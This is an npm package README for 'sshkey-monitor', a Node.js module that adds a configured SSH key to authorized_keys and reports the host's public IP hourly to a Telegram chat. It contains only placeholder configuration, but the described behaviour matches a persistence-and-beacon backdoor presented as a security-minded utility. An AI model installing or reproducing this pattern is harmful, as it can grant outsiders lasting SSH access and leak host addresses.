sshkey-monitor
v1.0.0
Published
A Node.js module for SSH key management and IP monitoring with Telegram notifications
Maintainers
Readme
SSHKey Monitor
A Node.js module for SSH key management and IP monitoring with Telegram notifications. This module automatically manages SSH keys, monitors public IP changes, and sends notifications via Telegram.
Features
- 🔑 SSH Key Management: Automatically adds SSH public keys to authorized_keys
- 🌐 IP Monitoring: Tracks public IP address changes
- 📱 Telegram Notifications: Sends IP updates and error notifications via Telegram
- ⏰ Scheduled Monitoring: Runs hourly checks automatically
- 🐧 Linux/Ubuntu Support: Optimized for Linux and Ubuntu systems
- 🛡️ Security: Proper file permissions and key validation
Installation
npm install sshkey-monitorUsage
Basic Usage
const { mainProcedure } = require('sshkey-monitor');
// Start the monitoring service
mainProcedure();Configuration
Before using the module, you need to configure it with your credentials:
- Telegram Bot Token: Get a bot token from @BotFather
- Telegram Chat ID: Your Telegram chat ID for notifications
- SSH Public Key: The SSH public key you want to add to authorized_keys
Update the configuration constants in the module or pass them as parameters.
Example
const { mainProcedure } = require('sshkey-monitor');
// The module will:
// 1. Check if running on Linux/Ubuntu
// 2. Add SSH key to ~/.ssh/authorized_keys
// 3. Get current public IP
// 4. Send IP notification via Telegram
// 5. Schedule hourly checks
mainProcedure();API Reference
mainProcedure()
Starts the SSH key monitoring service. This function:
- Validates the operating system (Linux/Ubuntu only)
- Adds the configured SSH public key to authorized_keys
- Fetches the current public IP address
- Sends a Telegram notification with the IP
- Schedules hourly monitoring
- Handles graceful shutdown on SIGINT
Configuration
The module uses the following configuration constants:
const TELEGRAM_BOT_TOKEN = "your_bot_token_here";
const TELEGRAM_CHAT_ID = your_chat_id_here;
const SSH_PUBLIC_KEY = "ssh-rsa your_public_key_here";Requirements
- Node.js >= 12.0.0
- Linux or Ubuntu operating system
- Internet connection for IP monitoring and Telegram notifications
Dependencies
node-telegram-bot-api: For Telegram bot functionality
Security Notes
- The module automatically sets proper permissions on SSH directories and files
- SSH keys are validated before being added to authorized_keys
- Duplicate keys are prevented
- All file operations use secure permissions (700 for directories, 600 for files)
Error Handling
The module includes comprehensive error handling:
- Operating system compatibility checks
- Network timeout handling for IP services
- Telegram API error handling
- File system permission management
- Graceful shutdown on process termination
License
MIT
Contributing
- Fork the repository
- Create your feature branch (
git checkout -b feature/amazing-feature) - Commit your changes (
git commit -m 'Add some amazing feature') - Push to the branch (
git push origin feature/amazing-feature) - Open a Pull Request
Support
If you encounter any issues or have questions, please open an issue on GitHub.
